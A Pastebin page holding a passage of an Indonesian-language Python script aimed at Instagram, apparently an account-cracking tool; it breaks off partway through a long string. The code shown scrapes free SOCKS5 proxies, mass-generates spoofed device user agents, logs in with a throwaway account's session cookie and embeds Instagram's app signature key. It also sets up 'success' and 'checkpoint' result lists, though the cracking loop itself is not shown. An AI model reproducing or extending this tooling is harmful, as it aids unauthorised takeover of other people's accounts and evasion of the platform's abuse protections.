Advertisement
OBF-XIn

103.172.17.162-/sdcard/ig/ig1.py.py

Dec 29th, 2022
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 69.66 KB | None | 0 0
  1. # coding:utf-8
  2. #/usr/bin/python
  3. try:
  4.     import json
  5.     import uuid
  6.     import hmac
  7.     import random
  8.     import hashlib
  9.     import urllib
  10.     import stdiomask
  11.     import urllib.request
  12.     import calendar
  13.     from platform import platform
  14. except ImportError as e:
  15.     exit(f'\n [\033[1;35m>\033[0m] module {e} belum terinstall')
  16. import requests,bs4,json,os,sys,random,datetime,time,re
  17. try:
  18.     import rich
  19. except ImportError:
  20.     os.system('pip install rich')
  21.     time.sleep(1)
  22.     try:
  23.         import rich
  24.     except ImportError:
  25.         exit('Tidak Dapat Menginstall Module rich, Coba Install Manual (pip install rich)')
  26. from rich import print as prints
  27. from rich.console import Console
  28. from rich.columns import Columns
  29. from rich.panel import Panel
  30. from rich.tree import Tree
  31. from rich.table import Table as me
  32. from rich.console import Console as sol
  33. from bs4 import BeautifulSoup as sop
  34. from concurrent.futures import ThreadPoolExecutor as tred
  35. from rich.console import Group as gp
  36. from rich.panel import Panel as nel
  37. from rich import print as cetak
  38. from rich.markdown import Markdown as mark
  39. from rich.columns import Columns as col
  40. from time import sleep
  41. from concurrent.futures import ThreadPoolExecutor
  42. from datetime import datetime
  43. from bs4 import BeautifulSoup as parser
  44. import time
  45. from rich.progress import track
  46. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
  47. from rich.tree import Tree
  48. from rich import print as prints
  49. day=datetime.now().strftime("%d-%b-%Y")
  50. nyMnD = 5
  51. nyMxD = 10
  52. current_GMT = time.gmtime(time.time())
  53. insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
  54. url='https://www.instagram.com'
  55. menudump=[]
  56. merah  = '[#FF0022]'
  57. hijau  = '[#00FF33]'
  58. hapus  = '[/]'
  59. bc = '[bold cyan]'
  60. kuning = '[#FFFF00]'
  61. kn = '[bold yellow]'
  62. bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  63. color_table = "#afafff"
  64. color_rich = "[#afafff]"
  65. try:
  66.     os.mkdir('result')
  67. except:
  68.     pass
  69. Z2 = "[#000000]" # HITAM
  70. M2 = "[#FF0000]" # MERAH
  71. H2 = "[#00FF00]" # HIJAU
  72. K2 = "[#FFFF00]" # KUNING
  73. B2 = "[#00C8FF]" # BIRU
  74. U2 = "[#AF00FF]" # UNGU
  75. N2 = "[#FF00FF]" # PINK
  76. O2 = "[#00FFFF]" # BIRU MUDA
  77. P2 = "[#FFFFFF]" # PUTIH
  78. J2 = "[#FF8F00]" # JINGGA
  79. A2 = "[#AAAAAA]" # ABU-ABU
  80. bc = '[bold cyan]'
  81. hapus  = '[/]'
  82. crit = f'{P2}[{K2}X{P2}]'
  83. crot = f'{P2}[{H2}✓{P2}]'
  84. zx=[]
  85. try:
  86.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=10000&country=all&ssl=all&anonymity=all').text
  87.     open('.prox.txt','w').write(prox)
  88. except Exception as e:
  89.     print('GAGAL')
  90. proxy=open('.prox.txt','r').read().splitlines()
  91. CY='\033[96;1m'
  92. H='\033[96;1m' #HIJAU
  93. M='\033[1;31m' #MERAH
  94. K='\033[1;33m' #KUNING
  95. U='\033[1;35m' #UNGU
  96. O='\033[38;2;255;127;0;1m' #ORANGE
  97. C='\033[0m' #CLEAR
  98. N = '\x1b[0m' # WARNA MATI
  99. USN="Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"
  100. #ugen=open('ua.txt','r').read().splitlines()
  101. internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],['sukses']
  102. HARIS={}
  103. HARIS1={}
  104. method=[]
  105. ugen=[]
  106. ugen3=[]
  107. ugen2=[]
  108. s=requests.Session()
  109. baru=[]
  110. zx=[]
  111. ############UA#############
  112. for tu in range(10000):
  113.     a2 = random.choice([
  114.             'RMX2040',
  115.             'RMX2001',
  116.             'RMX1827',
  117.             'RMX2185',
  118.             'RMX2030',
  119.             'RMX3201',
  120.             'RMX2195',
  121.             'RMX2027'])
  122.     a = ''.join((random.choice('ABCDEFGHIJKLM1234567890NOPQRSTUVWXYS')) for _ in range(6))
  123.     a1=''.join((random.choice('ABCDEFGHIJKLMN1234567890OPQRSTUVWXYZ')) for _ in range(6))
  124.     b = random.randrange(73, 99)
  125.     c = random.randrange(4200, 4900)
  126.     d = random.randrange(40, 150)
  127.     e = random.randrange(4,10)
  128.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  129.     g=random.randrange(1, 999)
  130.     h=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  131.     user = f'''Mozilla/5.0 (Linux; Android 10; REALME RMX1911 Build/{a}) NMF26F) AppleWebKit/537.36 (KHTML, seperti Gecko) Chrome/{b}.0.{c}.{d} Mobile Safari/537.36 AlohaBrowser/2.20.3'''
  132.     user1 = f'''Mozilla/5.0 (Linux; Android {e}; XIAOMI Redmi Note 9 Pro Build/{a}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{b}.0.{c}.{d} Mobile Safari/537.36'''
  133.     user2 = f'''Mozilla/5.0 (Linux; Android {e}; HTC One M9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{b}.0.{c}.{d} Mobile Safari/537.36'''
  134.     useragent = f'''Mozilla/5.0 (Linux; Android 5.1; Infinix-X552 Build/{a}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{b}.0.{c}.{d} Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]'''
  135.     xiomi = f'''Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/{a1}QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{b}.0.{c}.{d} Mobile Safari/537.36'''
  136.     useragen = f'''Mozilla/5.0 (Linux; U; Android 10; {a2} Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{b}.0.{c}.{d} Mobile Safari/537.36'''
  137.     useragents = f'''nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/{a1}) 5.0 applewebkit/420+ (khtml, like gecko){b}.0.{c}.{d} safari/420+'''
  138.     uacak=random.choice([user,user1,user2,useragent,xiomi,useragen,useragents])
  139.     baru.append(useragents)
  140. hapus  = '[/]'
  141. biru_m = '[bold cyan]'
  142. # CLEAR
  143. def clear():
  144.     os.system('clear')
  145. def waktu():
  146.     now = datetime.now()
  147.     hours = now.hour
  148.     if 4 <= hours < 12:timenow = "Good Morning"
  149.     elif 12 <= hours < 15:timenow = "Good Afternoon"
  150.     elif 15 <= hours < 18:timenow = "Good Evening"
  151.     else:timenow = "Good Night"
  152.     return timenow
  153. def jalan(keliling):
  154.     for mau in keliling + '\n':
  155.         sys.stdout.write(mau)
  156.         sys.stdout.flush();sleep(0.03)
  157. # BANNER
  158. def banner():
  159.     clear()
  160.     oi=nel("""[red]╔╗ ╦═╗╦ ╦╔╦╗╔═╗  ╦╔═╗
  161. [white]╠╩╗╠╦╝║ ║ ║ ║╣   ║║ ╦
  162. [white]╚═╝╩╚═╚═╝ ╩ ╚═╝  ╩╚═╝
  163. Author : Iky-XD
  164. Github : https://github.com/iky-xd""")
  165.     prints(nel(oi,style='white',title=f"[red]{waktu()}[/red]",width=80,padding=(0,4)))
  166.  
  167. def loadinglisen():
  168.     animation = ["[\x1b[1;91m■\x1b[0m□□□□□□□□□]","[\x1b[1;92m■■\x1b[0m□□□□□□□□]", "[\x1b[1;93m■■■\x1b[0m□□□□□□□]", "[\x1b[1;94m■■■■\x1b[0m□□□□□□]", "[\x1b[1;95m■■■■■\x1b[0m□□□□□]", "[\x1b[1;96m■■■■■■\x1b[0m□□□□]", "[\x1b[1;97m■■■■■■■\x1b[0m□□□]", "[\x1b[1;98m■■■■■■■■\x1b[0m□□]", "[\x1b[1;99m■■■■■■■■■\x1b[0m□]", "[\x1b[1;910m■■■■■■■■■■\x1b[0m]"]
  169.     for i in range(50):
  170.         time.sleep(0.1)
  171.         sys.stdout.write(f"\r{N}[{H}•{N}] {H}Sedang Verifikasi Lisensi...{N} " + animation[i % len(animation)] +"\x1b[0m ")
  172.         sys.stdout.flush()
  173.     print("")      
  174. def loadinglogin():
  175.     animation = ["[\x1b[1;91m■\x1b[0m□□□□□□□□□]","[\x1b[1;92m■■\x1b[0m□□□□□□□□]", "[\x1b[1;93m■■■\x1b[0m□□□□□□□]", "[\x1b[1;94m■■■■\x1b[0m□□□□□□]", "[\x1b[1;95m■■■■■\x1b[0m□□□□□]", "[\x1b[1;96m■■■■■■\x1b[0m□□□□]", "[\x1b[1;97m■■■■■■■\x1b[0m□□□]", "[\x1b[1;98m■■■■■■■■\x1b[0m□□]", "[\x1b[1;99m■■■■■■■■■\x1b[0m□]", "[\x1b[1;910m■■■■■■■■■■\x1b[0m]"]
  176.     for i in range(50):
  177.         time.sleep(0.1)
  178.         sys.stdout.write(f"\r{N}[{H}•{N}] {H}Sedang Login Harap Tunggu....{N} " + animation[i % len(animation)] +"\x1b[0m ")
  179.         sys.stdout.flush()
  180.     print("")      
  181. try:
  182.     # python 2
  183.     urllib_quote_plus = urllib.quote
  184. except:
  185.     # python 3
  186.     urllib_quote_plus = urllib.parse.quote_plus
  187.  
  188. def li():
  189.     clear()
  190.     up=f"""[green]        
  191. ██╗░░░░░██╗░█████╗░███████╗███╗░░██╗░██████╗███████╗
  192. ██║░░░░░██║██╔══██╗██╔════╝████╗░██║██╔════╝██╔════╝
  193. ██║░░░░░██║██║░░╚═╝█████╗░░██╔██╗██║╚█████╗░█████╗░░
  194. ██║░░░░░██║██║░░██╗██╔══╝░░██║╚████║░╚═══██╗██╔══╝░░
  195. ███████╗██║╚█████╔╝███████╗██║░╚███║██████╔╝███████╗
  196. ╚══════╝╚═╝░╚════╝░╚══════╝╚═╝░░╚══╝╚═════╝░╚══════╝                                                                                                                                          [/green]
  197. """
  198.     ui=nel(up,style='green')
  199.     sol().print(ui)
  200.    
  201. def lu():
  202.     clear()
  203.     up=f"""[red]          
  204. ██╗░░░░░██╗░█████╗░███████╗███╗░░██╗░██████╗███████╗
  205. ██║░░░░░██║██╔══██╗██╔════╝████╗░██║██╔════╝██╔════╝
  206. ██║░░░░░██║██║░░╚═╝█████╗░░██╔██╗██║╚█████╗░█████╗░░
  207. ██║░░░░░██║██║░░██╗██╔══╝░░██║╚████║░╚═══██╗██╔══╝░░
  208. ███████╗██║╚█████╔╝███████╗██║░╚███║██████╔╝███████╗
  209. ╚══════╝╚═╝░╚════╝░╚══════╝╚═╝░░╚══╝╚═════╝░╚══════╝                                                                                                                                   [/red]
  210. """
  211.     sol().print(nel(up, style=''))
  212.  
  213. def cekAPI(cookie):
  214.     user=open('.username','r').read()
  215.     coki = open('.kukis.log','r').read()
  216.     try:
  217.         c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':coki},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  218.         i=c.json()["data"]["user"]
  219.         nama=i["full_name"]
  220.         followers=i["edge_followed_by"]["count"]
  221.         following=i["edge_follow"]["count"]
  222.         external.append(f'{nama}|{followers}|{following}')
  223.     except FileNotFoundError:
  224.         os.remove('.kukis.log')
  225.     except (ValueError,KeyError):
  226.         wel='# Instagram Checkpoint'
  227.         wel2 = mark(wel, style='red')
  228.         sol().print(wel2)
  229.         time.sleep(4)
  230.         os.remove('.kukis.log')
  231.         os.remove('.username')
  232.         exit()
  233.        
  234.     return external,user
  235.  
  236. def login_kamu():
  237.     if "sukses" in lisensiku:
  238.         try:
  239.             kuki=open('.kukis.log','r').read()
  240.         except FileNotFoundError:
  241.             banner()
  242.             cetak(nel('[bold cyan]Login menggunakan cookie instagram[/]'))
  243.             coki = input(' [ig] Cookie anda : ')
  244.             try:
  245.                 id = re.search('ds_user_id=(\d+)',str(coki)).group(1)
  246.                 po = s.get(f"https://i.instagram.com/api/v1/users/{id}/info/",headers={"user-agent":USN},cookies={"cookie":coki})
  247.                 xx = json.loads(po.text)['user']
  248.                 useri = xx["username"]
  249.                 user = open('.username','w').write(useri)
  250.                 kuki = open('.kukis.log','w').write(coki)
  251.                 loadinglogin()
  252.                 jalan(f' [!] Hai {h}{user}{hapus} Semoga JP COK');time.sleep(2)
  253.             except (json.decoder.JSONDecodeError, KeyError, AttributeError):
  254.                 os.remove('.kukis.log')
  255.                 os.remove('.username')
  256.                 exit(f'{merah} Login gagal silahkan cek akun tumbal anda')
  257.             except ConnectionAbortedError:
  258.                 exit(f'{merah}Tidak ada koneksi internet')
  259.         ex,user=cekAPI(kuki)
  260.         cookie={'cookie':kuki}
  261.         instagram(ex,user,cookie).menu()
  262.     else:lisensi()
  263.  
  264.  
  265. def login():
  266.     global external
  267.     try:
  268.         wel = '# Gunakan username dan password instagram untuk login. sebelum login pastikan akun bersifat publik bukan privat'
  269.         wel2 = mark(wel, style='red')
  270.         sol().print(wel2)
  271.         us=input(f"{N}[•] Masukan username: {N}")
  272.         pw=stdiomask.getpass(prompt=f'{N}[•] Masukan password: {N}')
  273.     except KeyboardInterrupt:
  274.         wel = '# KeyboardInterrupt terdeteksi... keluar !'
  275.         wel2 = mark(wel, style='red')
  276.         sol().print(wel2)
  277.         exit()
  278.     x=instagramAPI(us,pw).loginAPI()
  279.     if x.get('status')=='success':
  280.         open('.username','a').write(us)
  281.         open('.kukis.log','a').write(x.get('cookie'))
  282.         cookie={'cookie':x.get('cookie')}
  283.         print(f'\n{H}>{C} Login berhasil')
  284.         os.system('python run.py')
  285.     elif x.get('status')=='checkpoint':
  286.         wel = '# Login checkpoint'
  287.         wel2 = mark(wel, style='red')
  288.         sol().print(wel2)
  289.         login()
  290.     else:
  291.         wel = '# Username atau password yang anda masukan salah'
  292.         wel2 = mark(wel, style='red')
  293.         sol().print(wel2)
  294.         login()
  295.  
  296. def User_Agent():
  297.     dpi_phone = [
  298.         '133','320','515','160','640','240','120'
  299.         '800','480','225','768','216','1024']
  300.     model_phone = [
  301.         'Nokia 2.4','HUAWEI','Galaxy',
  302.         'Unlocked Smartphones','Nexus 6P',
  303.         'Mobile Phones','Xiaomi',
  304.         'samsung','OnePlus']
  305.     pxl_phone = [
  306.         '623x1280','700x1245','800x1280',
  307.         '1080x2340','1320x2400','1242x2688']
  308.     i_version = [
  309.         '114.0.0.20.2','114.0.0.38.120',
  310.         '114.0.0.20.70','114.0.0.28.120',
  311.         '114.0.0.0.24','114.0.0.0.41']
  312.     User_Agent = f'Instagram '+random.choice(i_version)+' Android (30/3.0; '+random.choice(dpi_phone)+'dpi; '+random.choice(pxl_phone)+'; huawei/google; '+random.choice(model_phone)+'; angler; angler; en_US)'
  313.     return User_Agent
  314.  
  315. def user_agent():
  316.     resolutions = ['720x1280', '320x480', '480x800', '1024x768', '1280x720', '768x1024', '480x320']
  317.     versions = ['GT-N7000', 'SM-N9000', 'GT-I9220', 'GT-I9100']
  318.     dpis = ['120', '160', '320', '240']
  319.     ver = random.choice(versions)
  320.     dpi = random.choice(dpis)
  321.     res = random.choice(resolutions)
  322.     return (
  323.         'Instagram 4.{}.{} '
  324.         'Android ({}/{}.{}.{}; {}; {}; samsung; {}; {}; smdkc210; en_US)'
  325.     ).format(
  326.         random.randint(1, 2),
  327.         random.randint(0, 2),
  328.         random.randint(10, 11),
  329.         random.randint(1, 3),
  330.         random.randint(3, 5),
  331.         random.randint(0, 5),
  332.         dpi,
  333.         res,
  334.         ver,
  335.         ver,
  336.     )
  337.  
  338. def user_agentAPI():
  339.     APP_VERSION = "136.0.0.34.124"
  340.     VERSION_CODE = "208061712"
  341.     DEVICES = {
  342.         "one_plus_7": {"app_version": APP_VERSION,"android_version": "29","android_release": "10.0","dpi": "420dpi","resolution": "1080x2340","manufacturer": "OnePlus","device": "GM1903","model": "OnePlus7","cpu": "qcom","version_code": VERSION_CODE},
  343.         "one_plus_3": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "420dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3003","model": "OnePlus3","cpu": "qcom","version_code": VERSION_CODE},
  344.         "samsung_galaxy_s7": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G930F","model": "herolte","cpu": "samsungexynos8890","version_code": VERSION_CODE},
  345.         "huawei_mate_9_pro": {"app_version": APP_VERSION,"android_version": "24","android_release": "7.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "HUAWEI","device": "LON-L29","model": "HWLON","cpu": "hi3660","version_code": VERSION_CODE},
  346.         "samsung_galaxy_s9_plus": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G965F","model": "star2qltecs","cpu": "samsungexynos9810","version_code": VERSION_CODE},
  347.         "one_plus_3t": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "380dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3010","model": "OnePlus3T","cpu": "qcom","version_code": VERSION_CODE},
  348.         "lg_g5": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2392","manufacturer": "LGE/lge","device": "RS988","model": "h1","cpu": "h1","version_code": VERSION_CODE},
  349.         "zte_axon_7": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "ZTE","device": "ZTE A2017U","model": "ailsa_ii","cpu": "qcom","version_code": VERSION_CODE},
  350.         "samsung_galaxy_s7_edge": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G935","model": "hero2lte","cpu": "samsungexynos8890","version_code": VERSION_CODE},}
  351.     DEFAULT_DEVICE = random.choice(list(DEVICES.keys()))
  352.     app_version = DEVICES[DEFAULT_DEVICE]['app_version']
  353.     android_version = DEVICES[DEFAULT_DEVICE]['android_version']
  354.     android_release = DEVICES[DEFAULT_DEVICE]['android_release']
  355.     dpi = DEVICES[DEFAULT_DEVICE]['dpi']
  356.     resolution = DEVICES[DEFAULT_DEVICE]['resolution']
  357.     manufacturer = DEVICES[DEFAULT_DEVICE]['manufacturer']
  358.     device = DEVICES[DEFAULT_DEVICE]['device']
  359.     model = DEVICES[DEFAULT_DEVICE]['model']
  360.     cpu = DEVICES[DEFAULT_DEVICE]['cpu']
  361.     version_code = DEVICES[DEFAULT_DEVICE]['version_code']
  362.     USER_AGENT_BASE = f"Instagram {app_version} "+f"Android ({android_version}/{android_release}; "+f"{dpi}; {resolution}; {manufacturer}; "+f"{device}; {model}; {cpu}; en_US; {version_code})"
  363.     return USER_AGENT_BASE
  364.  
  365. class instagramAPI:
  366.     API_URL = 'https://i.instagram.com/api/v1/'
  367.     DEVICE_SETTINTS = {'manufacturer': 'Xiaomi',
  368.         'model': 'HM 1SW',
  369.         'android_version': 18,
  370.         'android_release': '4.3'}
  371.     USER_AGENT = 'Instagram 10.26.0 Android ({android_version}/{android_release}; 320dpi; 720x1280; {manufacturer}; {model}; armani; qcom; en_US)'.format(**DEVICE_SETTINTS)
  372.     IG_SIG_KEY = '4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178'
  373.     EXPERIMENTS = 'ig_promote_reach_objective_fix_universe,ig_android_universe_video_production,ig_search_client_h1_2017_holdout,ig_android_live_follow_from_comments_universe,ig_android_carousel_non_square_creation,ig_android_live_analytics,ig_android_follow_all_dialog_confirmation_copy,ig_android_stories_server_coverframe,ig_android_video_captions_universe,ig_android_offline_location_feed,ig_android_direct_inbox_retry_seen_state,ig_android_ontact_invite_universe,ig_android_live_broadcast_blacklist,ig_android_insta_video_reconnect_viewers,ig_android_ad_async_ads_universe,ig_android_search_clear_layout_universe,ig_android_shopping_reporting,ig_android_stories_surface_universe,ig_android_verified_comments_universe,ig_android_preload_media_ahead_in_current_reel,android_instagram_prefetch_suggestions_universe,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_direct_search_share_sheet_universe,ig_android_business_promote_tooltip,ig_android_direct_blue_tab,ig_android_async_network_tweak_universe,ig_android_elevate_main_thread_priority_universe,ig_android_stories_gallery_nux,ig_android_instavideo_remove_nux_comments,ig_video_copyright_whitelist,ig_react_native_inline_insights_with_relay,ig_android_direct_thread_message_animation,ig_android_draw_rainbow_client_universe,ig_android_direct_link_style,ig_android_live_heart_enhancements_universe,ig_android_rtc_reshare,ig_android_preload_item_count_in_reel_viewer_buffer,ig_android_users_bootstrap_service,ig_android_auto_retry_post_mode,ig_android_shopping,ig_android_main_feed_seen_state_dont_send_info_on_tail_load,ig_fbns_preload_default,ig_android_gesture_dismiss_reel_viewer,ig_android_tool_tip,ig_android_ad_logger_funnel_logging_universe,ig_android_gallery_grid_column_count_universe,ig_android_business_new_ads_payment_universe,ig_android_direct_links,ig_android_audience_control,ig_android_live_encore_consumption_settings_universe,ig_perf_android_holdout,ig_android_cache_contact_import_list,ig_android_links_receivers,ig_android_ad_impression_backtest,ig_android_list_redesign,ig_android_stories_separate_overlay_creation,ig_android_stop_video_recording_fix_universe,ig_android_render_video_segmentation,ig_android_live_encore_reel_chaining_universe,ig_android_sync_on_background_enhanced_10_25,ig_android_immersive_viewer,ig_android_mqtt_skywalker,ig_fbns_push,ig_android_ad_watchmore_overlay_universe,ig_android_react_native_universe,ig_android_profile_tabs_redesign_universe,ig_android_live_consumption_abr,ig_android_story_viewer_social_context,ig_android_hide_post_in_feed,ig_android_video_loopcount_int,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_android_ad_watchbrowse_universe,ig_android_internal_research_settings,ig_android_search_people_tag_universe,ig_android_react_native_ota,ig_android_enable_concurrent_request,ig_android_react_native_stories_grid_view,ig_android_business_stories_inline_insights,ig_android_log_mediacodec_info,ig_android_direct_expiring_media_loading_errors,ig_video_use_sve_universe,ig_android_cold_start_feed_request,ig_android_enable_zero_rating,ig_android_reverse_audio,ig_android_branded_content_three_line_ui_universe,ig_android_live_encore_production_universe,ig_stories_music_sticker,ig_android_stories_teach_gallery_location,ig_android_http_stack_experiment_2017,ig_android_stories_device_tilt,ig_android_pending_request_search_bar,ig_android_fb_topsearch_sgp_fork_request,ig_android_seen_state_with_view_info,ig_android_animation_perf_reporter_timeout,ig_android_new_block_flow,ig_android_story_tray_title_play_all_v2,ig_android_direct_address_links,ig_android_stories_archive_universe,ig_android_save_collections_cover_photo,ig_android_live_webrtc_livewith_production,ig_android_sign_video_url,ig_android_stories_video_prefetch_kb,ig_android_stories_create_flow_favorites_tooltip,ig_android_live_stop_broadcast_on_404,ig_android_live_viewer_invite_universe,ig_android_promotion_feedback_channel,ig_android_render_iframe_interval,ig_android_accessibility_logging_universe,ig_android_camera_shortcut_universe,ig_android_use_one_cookie_store_per_user_override,ig_profile_holdout_2017_universe,ig_android_stories_server_brushes,ig_android_ad_media_url_logging_universe,ig_android_shopping_tag_nux_text_universe,ig_android_comments_single_reply_universe,ig_android_stories_video_loading_spinner_improvements,ig_android_collections_cache,ig_android_comment_api_spam_universe,ig_android_facebook_twitter_profile_photos,ig_android_shopping_tag_creation_universe,ig_story_camera_reverse_video_experiment,ig_android_direct_bump_selected_recipients,ig_android_ad_cta_haptic_feedback_universe,ig_android_vertical_share_sheet_experiment,ig_android_family_bridge_share,ig_android_search,ig_android_insta_video_consumption_titles,ig_android_stories_gallery_preview_button,ig_android_fb_auth_education,ig_android_camera_universe,ig_android_me_only_universe,ig_android_instavideo_audio_only_mode,ig_android_user_profile_chaining_icon,ig_android_live_video_reactions_consumption_universe,ig_android_stories_hashtag_text,ig_android_post_live_badge_universe,ig_android_swipe_fragment_container,ig_android_search_users_universe,ig_android_live_save_to_camera_roll_universe,ig_creation_growth_holdout,ig_android_sticker_region_tracking,ig_android_unified_inbox,ig_android_live_new_watch_time,ig_android_offline_main_feed_10_11,ig_import_biz_contact_to_page,ig_android_live_encore_consumption_universe,ig_android_experimental_filters,ig_android_search_client_matching_2,ig_android_react_native_inline_insights_v2,ig_android_business_conversion_value_prop_v2,ig_android_redirect_to_low_latency_universe,ig_android_ad_show_new_awr_universe,ig_family_bridges_holdout_universe,ig_android_background_explore_fetch,ig_android_following_follower_social_context,ig_android_video_keep_screen_on,ig_android_ad_leadgen_relay_modern,ig_android_profile_photo_as_media,ig_android_insta_video_consumption_infra,ig_android_ad_watchlead_universe,ig_android_direct_prefetch_direct_story_json,ig_android_shopping_react_native,ig_android_top_live_profile_pics_universe,ig_android_direct_phone_number_links,ig_android_stories_weblink_creation,ig_android_direct_search_new_thread_universe,ig_android_histogram_reporter,ig_android_direct_on_profile_universe,ig_android_network_cancellation,ig_android_background_reel_fetch,ig_android_react_native_insights,ig_android_insta_video_audio_encoder,ig_android_family_bridge_bookmarks,ig_android_data_usage_network_layer,ig_android_universal_instagram_deep_links,ig_android_dash_for_vod_universe,ig_android_modular_tab_discover_people_redesign,ig_android_mas_sticker_upsell_dialog_universe,ig_android_ad_add_per_event_counter_to_logging_event,ig_android_sticky_header_top_chrome_optimization,ig_android_rtl,ig_android_biz_conversion_page_pre_select,ig_android_promote_from_profile_button,ig_android_live_broadcaster_invite_universe,ig_android_share_spinner,ig_android_text_action,ig_android_own_reel_title_universe,ig_promotions_unit_in_insights_landing_page,ig_android_business_settings_header_univ,ig_android_save_longpress_tooltip,ig_android_constrain_image_size_universe,ig_android_business_new_graphql_endpoint_universe,ig_ranking_following,ig_android_stories_profile_camera_entry_point,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_android_sfplt,ig_android_offline_hashtag_feed,ig_android_live_skin_smooth,ig_android_direct_inbox_search,ig_android_stories_posting_offline_ui,ig_android_sidecar_video_upload_universe,ig_android_promotion_manager_entry_point_universe,ig_android_direct_reply_audience_upgrade,ig_android_swipe_navigation_x_angle_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_direct_fetch_before_push_notif,ig_android_non_square_first,ig_android_insta_video_drawing,ig_android_swipeablefilters_universe,ig_android_live_notification_control_universe,ig_android_analytics_logger_running_background_universe,ig_android_save_all,ig_android_reel_viewer_data_buffer_size,ig_direct_quality_holdout_universe,ig_android_family_bridge_discover,ig_android_react_native_restart_after_error_universe,ig_android_startup_manager,ig_story_tray_peek_content_universe,ig_android_profile,ig_android_high_res_upload_2,ig_android_http_service_same_thread,ig_android_scroll_to_dismiss_keyboard,ig_android_remove_followers_universe,ig_android_skip_video_render,ig_android_story_timestamps,ig_android_live_viewer_comment_prompt_universe,ig_profile_holdout_universe,ig_android_react_native_insights_grid_view,ig_stories_selfie_sticker,ig_android_stories_reply_composer_redesign,ig_android_streamline_page_creation,ig_explore_netego,ig_android_ig4b_connect_fb_button_universe,ig_android_feed_util_rect_optimization,ig_android_rendering_controls,ig_android_os_version_blocking,ig_android_encoder_width_safe_multiple_16,ig_search_new_bootstrap_holdout_universe,ig_android_snippets_profile_nux,ig_android_e2e_optimization_universe,ig_android_comments_logging_universe,ig_shopping_insights,ig_android_save_collections,ig_android_live_see_fewer_videos_like_this_universe,ig_android_show_new_contact_import_dialog,ig_android_live_view_profile_from_comments_universe,ig_fbns_blocked,ig_formats_and_feedbacks_holdout_universe,ig_android_reduce_view_pager_buffer,ig_android_instavideo_periodic_notif,ig_search_user_auto_complete_cache_sync_ttl,ig_android_marauder_update_frequency,ig_android_suggest_password_reset_on_oneclick_login,ig_android_promotion_entry_from_ads_manager_universe,ig_android_live_special_codec_size_list,ig_android_enable_share_to_messenger,ig_android_background_main_feed_fetch,ig_android_live_video_reactions_creation_universe,ig_android_channels_home,ig_android_sidecar_gallery_universe,ig_android_upload_reliability_universe,ig_migrate_mediav2_universe,ig_android_insta_video_broadcaster_infra_perf,ig_android_business_conversion_social_context,android_ig_fbns_kill_switch,ig_android_live_webrtc_livewith_consumption,ig_android_destroy_swipe_fragment,ig_android_react_native_universe_kill_switch,ig_android_stories_book_universe,ig_android_all_videoplayback_persisting_sound,ig_android_draw_eraser_universe,ig_direct_search_new_bootstrap_holdout_universe,ig_android_cache_layer_bytes_threshold,ig_android_search_hash_tag_and_username_universe,ig_android_business_promotion,ig_android_direct_search_recipients_controller_universe,ig_android_ad_show_full_name_universe,ig_android_anrwatchdog,ig_android_qp_kill_switch,ig_android_2fac,ig_direct_bypass_group_size_limit_universe,ig_android_promote_simplified_flow,ig_android_share_to_whatsapp,ig_android_hide_bottom_nav_bar_on_discover_people,ig_fbns_dump_ids,ig_android_hands_free_before_reverse,ig_android_skywalker_live_event_start_end,ig_android_live_join_comment_ui_change,ig_android_direct_search_story_recipients_universe,ig_android_direct_full_size_gallery_upload,ig_android_ad_browser_gesture_control,ig_channel_server_experiments,ig_android_video_cover_fra